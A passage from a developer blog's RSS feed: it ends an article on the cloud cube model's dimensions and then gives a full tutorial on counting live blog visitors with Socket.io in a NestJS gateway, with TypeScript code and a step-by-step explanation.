<li><p>Resource Dimension:</p>
<ul>
<li><p>This dimension focuses on the type of resources provided by the cloud service, such as storage, processing power, and applications.</p>
</li>
<li><p>It helps organizations understand the level of control and responsibility they have over these resources.</p>
</li>
<li><p>Examples: Storage, Processing, Network, Applications, Data, Virtual Machine.</p>
</li>
</ul>
</li>
<li><p>Service Dimension:</p>
<ul>
<li><p>This dimension represents the different service models offered by cloud providers, such as Infrastructure as a Service (IaaS), Platform as a Service (PaaS), and Software as a Service (SaaS).</p>
</li>
<li><p>It helps organizations determine the level of abstraction and control they require over the underlying infrastructure.</p>
</li>
<li><p>Examples: IaaS, PaaS, SaaS, BPaaS (Business Process as a Service), XaaS (Anything as a Service).</p>
</li>
</ul>
</li>
<li><p>Stakeholder Dimension:</p>
<ul>
<li><p>This dimension considers the various stakeholders involved in cloud computing, including cloud providers, customers, partners, and regulatory bodies.</p>
</li>
<li><p>It helps organizations identify and understand the roles, responsibilities, and concerns of each stakeholder.</p>
</li>
<li><p>Examples: Cloud Provider, Customer, Partner, Regulator, User.</p>
</li>
</ul>
</li>
</ol>
<p>By examining these four dimensions together, organizations can better understand the potential risks, benefits, and implications associated with adopting cloud computing services. The cloud cube model provides a systematic approach to evaluate and select the appropriate cloud services that align with an organization's specific requirements, security concerns, regulatory compliance needs, and business objectives.</p>
<p>For example, an organization may choose to use a private cloud (Physical Dimension) for sensitive data and mission-critical applications, leveraging IaaS (Service Dimension) for virtual machines and storage (Resource Dimension), while ensuring compliance with local regulations (Stakeholder Dimension).</p>
<p>The cloud cube model promotes a comprehensive analysis of cloud computing services, enabling organizations to make informed decisions and mitigate potential risks associated with the adoption and management of cloud solutions.</p>
]]></content:encoded></item><item><title><![CDATA[How to Implement Real-Time Live Visitors Count Using Socket.io in Nest.js]]></title><description><![CDATA[Last time we implement a secure socket.io connection in nest js using jwt and password strategy authentication process this time we will dive into implementing how we can implement a real time live visitors in any web pages when user visit the web pa...]]></description><link>https://article.kumarchaudhary.com.np/how-to-implement-real-time-live-visitors-count-using-socketio-in-nestjs</link><guid isPermaLink="true">https://article.kumarchaudhary.com.np/how-to-implement-real-time-live-visitors-count-using-socketio-in-nestjs</guid><category><![CDATA[SocketIO]]></category><category><![CDATA[nestjs]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[TypeScript]]></category><category><![CDATA[Node.js]]></category><category><![CDATA[PostgreSQL]]></category><category><![CDATA[backend]]></category><category><![CDATA[backend developments]]></category><dc:creator><![CDATA[Kumar Chaudhary]]></dc:creator><pubDate>Mon, 08 Apr 2024 06:30:56 GMT</pubDate><content:encoded><![CDATA[<p>Last time we implement a secure socket.io connection in nest js using jwt and password strategy authentication process this time we will dive into implementing how we can implement a real time live visitors in any web pages when user visit the web pages. These type of use cases is widly applicable in application like news portal site, blog portal sites or any other kinds of e-commerce 😅😅 such that you can use where you like. Okey lets dive in shall we!</p>
<p>For this you must need to have a basic understanfing of MAP in js no worries if you don't know i'll give a simple example where you can have a basic understanding of how MAP works and how does it store the data.</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> map = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Map</span>();
map.set(<span class="hljs-string">'key1'</span>, <span class="hljs-string">'value1'</span>);
map.set(<span class="hljs-string">'key2'</span>, <span class="hljs-string">'value2'</span>);

<span class="hljs-built_in">console</span>.log(map.has(<span class="hljs-string">'key1'</span>)); <span class="hljs-comment">// Output: true</span>
<span class="hljs-built_in">console</span>.log(map.has(<span class="hljs-string">'key3'</span>)); <span class="hljs-comment">// Output: false</span>
</code></pre>
<p>Since we are using TS we need to declare and initialize two private memebers variable with it's type.</p>
<pre><code class="lang-plaintext">  private connectedClients = new Map&lt;string, Set&lt;Socket&gt;&gt;();
  private blogClients = new Map&lt;string, number&gt;();
</code></pre>
<p>After successfully declaring and initializing the private instance variable the mail logics cames here. First review the code and i'll have you a basic understanding of how work flows.</p>
<pre><code class="lang-plaintext"> @SubscribeMessage('blogLiveCounts')
  handleBlogLiveCounts(
    @ConnectedSocket() client: Socket,
    @MessageBody() message: LiveBlog,
  ) {
    const parsedMessage: LiveBlog = JSON.parse(`${message}`);
    console.log('🚀 ~ SocketGateway ~ jsonStringify:', parsedMessage.blog_id); //🚀 ~ SocketGateway ~ jsonStringify: 2

    if (!this.blogClients.has(client.id)) {
      console.log('🚀 ~ SocketGateway ~ client.id, :', client.id); //🚀 ~ SocketGateway ~ client.id, : 7Fu4_qBToYPCBrlkAAAB
      this.blogClients.set(client.id, parsedMessage.blog_id);
    }
    console.log('🚀 ~ SocketGateway ~ this.blogClients:', this.blogClients); // example 🚀 ~ SocketGateway ~ this.blogClients: Map(1) { '7Fu4_qBToYPCBrlkAAAB' =&gt; 2 }

    // //getting all the values stored in blogClients
    const allBlogClientsValues = Array.from(this.blogClients.values());
    console.log(
      '🚀 ~ SocketGateway ~ allBlogClientsValues:',
      allBlogClientsValues,
    ); ///example :- 🚀 ~ SocketGateway ~ allBlogClientsValues: [ 2 ]

    const filteredValues = allBlogClientsValues.filter((blog_id) =&gt; {
      return blog_id === parsedMessage.blog_id;
    });
    console.log(
      '🚀 ~ SocketGateway ~ filteredValues ~ filteredValues:',
      filteredValues,
      filteredValues.length,
    ); //🚀 ~ SocketGateway ~ filteredValues ~ filteredValues: [ 2 ] 1

    this.server.emit('liveCountsSingleBlog', filteredValues.length);
  }
</code></pre>
<p>So, in this piece of code, I've implemented a method called <code>handleBlogLiveCounts</code> within my SocketGateway class. This method is triggered whenever an event named 'blogLiveCounts' is received.</p>
<p>First, I extract the message body, which presumably contains information about a live blog, such as its ID, title, and content. I parse this message into a <code>LiveBlog</code> object.</p>
<p>Then, I extract the <code>blog_id</code> from the parsed message and log it to the console. This helps me understand which blog the message is referring to.</p>
<p>Next, I check if the <code>blogClients</code> map doesn't already have the client's ID stored. This check ensures that I'm not duplicating entries for the same client. If the client's ID isn't already in the map, I add it along with the <code>blog_id</code> to the <code>blogClients</code> map.</p>
<p>After adding the client's ID and <code>blog_id</code> to the map, I log the entire <code>blogClients</code> map to the console. This helps me keep track of which clients are currently connected and which blogs they're viewing.</p>
<p>Then, I retrieve all the <code>blog_id</code> values stored in the <code>blogClients</code> map. This step is crucial because it allows me to determine how many clients are currently viewing each blog.</p>
<p>Once I have all the <code>blog_id</code> values, I filter them to find those that match the <code>blog_id</code> from the parsed message. This filtering process helps me identify the clients that are viewing the same blog as the one mentioned in the message.</p>
<p>Finally, I emit an event named 'liveCountsSingleBlog' to the server. I pass the count of filtered values (i.e., the number of clients viewing the same blog) as the payload of this event. This allows other parts of the application to receive and act upon this information in real-time.  </p>
<p>Below is the entire work of how we can implement the Live visitors count in any web pages using socket and Nest.js</p>
<pre><code class="lang-plaintext">import { UseGuards } from '@nestjs/common';
import {
  ConnectedSocket,
  MessageBody,
  SubscribeMessage,
  WebSocketGateway,
  WebSocketServer,
} from '@nestjs/websockets';
import { Server, Socket } from 'socket.io';
import { JwtSocketGuard } from 'src/auth/guard/socket.guard';

interface LiveBlog {
  blog_id: number;
  user_id: number;
}

@UseGuards(JwtSocketGuard)
@WebSocketGateway(5000)
export class SocketGateway {
  @WebSocketServer() server: Server;

  private connectedClients = new Map&lt;string, Set&lt;Socket&gt;&gt;();
  private blogClients = new Map&lt;string, number&gt;();

  handleConnection(@ConnectedSocket() client: Socket) {
    // Initialize the client's private room
    console.log(
      `🚀 ~ SocketGateway ~ handleConnection ~ client.id: ${client.id} is connected`,
    );
    this.connectedClients.set(client.id, new Set());
  }

  @SubscribeMessage('blogLiveCounts')
  handleBlogLiveCounts(
    @ConnectedSocket() client: Socket,
    @MessageBody() message: LiveBlog,
  ) {
    const parsedMessage: LiveBlog = JSON.parse(`${message}`);
    console.log('🚀 ~ SocketGateway ~ jsonStringify:', parsedMessage.blog_id); //🚀 ~ SocketGateway ~ jsonStringify: 2

    if (!this.blogClients.has(client.id)) {
      console.log('🚀 ~ SocketGateway ~ client.id, :', client.id); //🚀 ~ SocketGateway ~ client.id, : 7Fu4_qBToYPCBrlkAAAB
      this.blogClients.set(client.id, parsedMessage.blog_id);
    }
    console.log('🚀 ~ SocketGateway ~ this.blogClients:', this.blogClients); // example 🚀 ~ SocketGateway ~ this.blogClients: Map(1) { '7Fu4_qBToYPCBrlkAAAB' =&gt; 2 }

    // //getting all the values stored in blogClients
    const allBlogClientsValues = Array.from(this.blogClients.values());
    console.log(
      '🚀 ~ SocketGateway ~ allBlogClientsValues:',
      allBlogClientsValues,
    ); ///example :- 🚀 ~ SocketGateway ~ allBlogClientsValues: [ 2 ]

    const filteredValues = allBlogClientsValues.filter((blog_id) =&gt; {
      return blog_id === parsedMessage.blog_id;
    });
    console.log(
      '🚀 ~ SocketGateway ~ filteredValues ~ filteredValues:',
      filteredValues,
      filteredValues.length,
    ); //🚀 ~ SocketGateway ~ filteredValues ~ filteredValues: [ 2 ] 1

    this.server.emit('liveCountsSingleBlog', filteredValues.length);
  }


  handleDisconnect(@ConnectedSocket() client: Socket) {
    this.connectedClients.delete(client.id);
    this.blogClients.delete(client.id);
    const countConnectedClient = Array.from(
      this.connectedClients.values(),
    ).length;

    const countConnectedBlogClient = Array.from(
      this.blogClients.values(),
    ).length;

  }
}
</code></pre>
<p>Remember to delete the client.id as we used client.id which implies the id generated by socket for a client when user is connected to socket. Since we are setting up that id as a key in Map when delete client.id the live visitors count also decreased.</p>
<p>In my WebSocketGateway implementation using NestJS, I've ensured that when a client disconnects from the WebSocket, I clean up their associated resources by removing their <a target="_blank" href="http://client.id">client.id</a> from both the connectedClients and blogClients maps in the handleDisconnect method. This step is crucial to maintain the integrity of our system and prevent any resource leaks.</p>
<p>Regarding the live visitor count, I've designed it to be based on the number of clients connected to a specific blog. To achieve this, I store the blog_id associated with each client's <a target="_blank" href="http://client.id">client.id</a> in the blogClients map. Consequently, when a client disconnects, I remove their entry from the blogClients map to accurately reflect the updated live visitor count for each blog.</p>
<p>While the connectedClients map exists to track client connections, I've opted to use the blogClients map directly for live visitor count tracking. This decision simplifies the logic and ensures that the live visitor count remains accurate and up to date for each blog.</p>
]]></content:encoded></item></channel></rss>